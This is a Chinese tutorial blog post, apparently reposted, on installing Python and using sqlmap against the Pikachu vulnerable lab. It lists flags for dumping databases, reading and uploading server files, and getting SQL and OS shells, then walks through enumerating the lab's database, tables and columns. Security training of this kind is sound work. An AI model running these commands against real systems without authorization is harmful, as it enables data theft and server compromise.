当前位置: 首页 > news >正文

SQL注入篇-sqlmap的配置和使用

在之前的皮卡丘靶场第五期SQL注入的内容中我们谈到了sqlmap,但是由于很多朋友看不了解命令行格式,所以是纯手动获取数据库信息的

接下来我们就用sqlmap来进行皮卡丘靶场的sql注入学习,链接:https://wwhc.lanzoue.com/ifJY32ybh6vc

一,python环境配置

使用sqlmap需要用到python环境,所以我们先配置环境

python官方网站:https://www.python.org/

(python是免费的,别到盗版网站上付费使用),可以在download里面下载

根据自己的的电脑情况下载,我这里选择Windows installer (64-bit)

然后根据他的要求来就行了,一定要打下面的两个勾,意思是用管理员方式运行和添加到路径,对于不了解的朋友来说,这是最方便配置的方法了

然后我们选择上面的install now等待他安装完成,然后点击close即可

可以看到他已经配置好了路径。

二,sqlmap命令

下面是常用的命令,如果希望详细了解的话可以看一下sqlmap的中文手册

https://wwhc.lanzoue.com/iSKxA2yegdch(我找不到更新的了所以只有1.4版本的)

GET方式

-u:指定注入的URL   sqlmap -u URL

--dbs:爆出所有数据库 sqlmap -u URL --dbs

--dbms:指定数据库类型 sqlmap -u URL --dbms=mysql

--users:查看数据库的所有用户 sqlmap -u URL --users

--current-user:查看数据库当前用户 sqlmap -u URL --current-user

--current-db:查看网站当前数据库 sqlmap -u URL --current-db

--is-dba:判断当前用户是否有管理员权限 sqlmap -u URL --is-dba

--roles:列出数据库所有管理员角色,仅适用于oracle数据库 sqlmap -u URL --roles

--tables:爆出所有数据表 sqlmap -u URL -D 数据库名 --tables

--columns:爆出数据库表所有列 sqlmap -u URL -D 数据库名 -T 表名 --columns 

--dump:爆出数据库中列中的所有数据 sqlmap -u URL -D 数据库名 -T 表名 -C 列名 --dump

--dump-all:爆出数据库中所有的数据 sqlmap -u URL -D 数据库名 -T 表名 --dump-all

--sql-shell:获取数据库shell  sqlmap -u URL --sql-shell

--os-shell:获取服务器shell  sqlmap -u URL --os-shell

--file-read:读取服务器文件  sqlmap -u URL --file-read "文件路径及名称"

--file-write 本地文件 --file-dist 目标文件路径及名称:将本地文件上传至目标服务器

--time-sec=2:延时注入 sqlmap -u URL --time-sec=2

--batch:探测过程中不进行询问,一律选择默认

-m:如果有多个url地址,可以把多个url保存成一个文本文件,-m可以加载文本文件逐个扫描

POST方式

-r:指定POST数据文件  sqlmap -r post.txt

--data:这种不需要将数据进行保存,只需要将post数据复制下来即可 sqlmap -u URL --data="post数据"

--forms:自动搜索表单的方式 sqlmap -u URL --forms

--cookie="抓取的cookie":测试cookie字段

--param-del:参数拆分字符,当GET型或POST型需要用其他字符分割测试参数的时候需要用到此参数,sqlmap -r post.txt --data="query=foorbar;id=1" --param-del

--referer:在请求中伪造http中的referer,当level参数设定为3或者3以上的时候会尝试对referer注入

--headers:增加额外的http头

--proxy:指定代理地址

-p:指定测试参数

三,sqlmap皮卡丘靶场实践

我们还是以皮卡丘靶场第五期-sql注入模块为例

我们用字符型做示范,因为前面的数字型只能用他提供的,不方便我们了解sqlmap这个工具

先随便输入看看

从url栏中我们可以知道自己的url地址,先复制下来

http://172.30.164.105/vul/sqli/sqli_str.php?name=111&submit=%E6%9F%A5%E8%AF%A2

然后用sqlmap的-u方式来跑一下

python sqlmap.py -u "http://172.30.164.105/vul/sqli/sqli_str.php?name=111&submit=%E6%9F%A5%E8%AF%A2"

(我用终端运行的,所以和cmd的样式看起来有区别,但本质一样)

由此,我们可以知道是mysql数据库并且有name漏洞

获取数据库名称

python sqlmap.py -u "http://172.30.164.105/vul/sqli/sqli_str.php?name=111&submit=%E6%9F%A5%E8%AF%A2" --current-db

可以看到成功了

获取数据库的所有表

python sqlmap.py -u "http://172.30.164.105/vul/sqli/sqli_str.php?name=111&submit=%E6%9F%A5%E8%AF%A2" -D pikachu --tables 

成功

获取表的所有字段(这里以users为例,想要别的表单的字段,把上面获取的表单名称换掉就行)

python sqlmap.py -u "http://172.30.164.105/vul/sqli/sqli_str.php?name=111&submit=%E6%9F%A5%E8%AF%A2" -D pikachu -T users --columns

成功

就像套公式一样就行,大家可以自行尝试,我就不过多赘述了,只要根据上面常用的公式来就行了

相关文章:

  • 拟合问题处理
  • 【C++进阶篇】智能指针
  • Java并发编程实战 Day 15:并发编程调试与问题排查
  • 论文解读:交大港大上海AI Lab开源论文 | 宇树机器人多姿态起立控制强化学习框架(一)
  • LeetCode - 199. 二叉树的右视图
  • 动态元素绑定事件总失效?通过AI 对话框的开发,详解绑定逻辑!
  • stm32wle5 lpuart DMA数据不接收
  • 机器人模仿学习调研(二)
  • 使用Spring Cloud Stream 模拟生产者消费者group destination的介绍(整合rabbitMQ)
  • Spring AMQP
  • 什么是日内融?日内融交易系统开发全解析
  • crackme006
  • 在WSL2的Ubuntu镜像中安装Docker
  • modelscope下载gguf格式模型
  • libfmt: 现代C++的格式化工具库介绍与酷炫功能
  • 中国高等职业教育(专科)专业划分
  • 算法从0到1 Day 17 二叉树part 06
  • Axure设计案例之词云图设计
  • 【Linux】进程间通讯-消息队列
  • 基于 Three.js 的 3D 模型快照生成方案
  • 自己制作logo免费生成器/seo网站建设优化什么意思
  • 深圳网站建设制作设计企业/新乡seo公司
  • 网站设计所遵循的原则/做一个网站需要多少钱大概
  • 中国建设银行黄冈分行网站/自助建站网站模板
  • 搭建一个棋牌平台需要多少钱/宁波seo外包推广平台
  • 成都企业网站商城定制/软文标题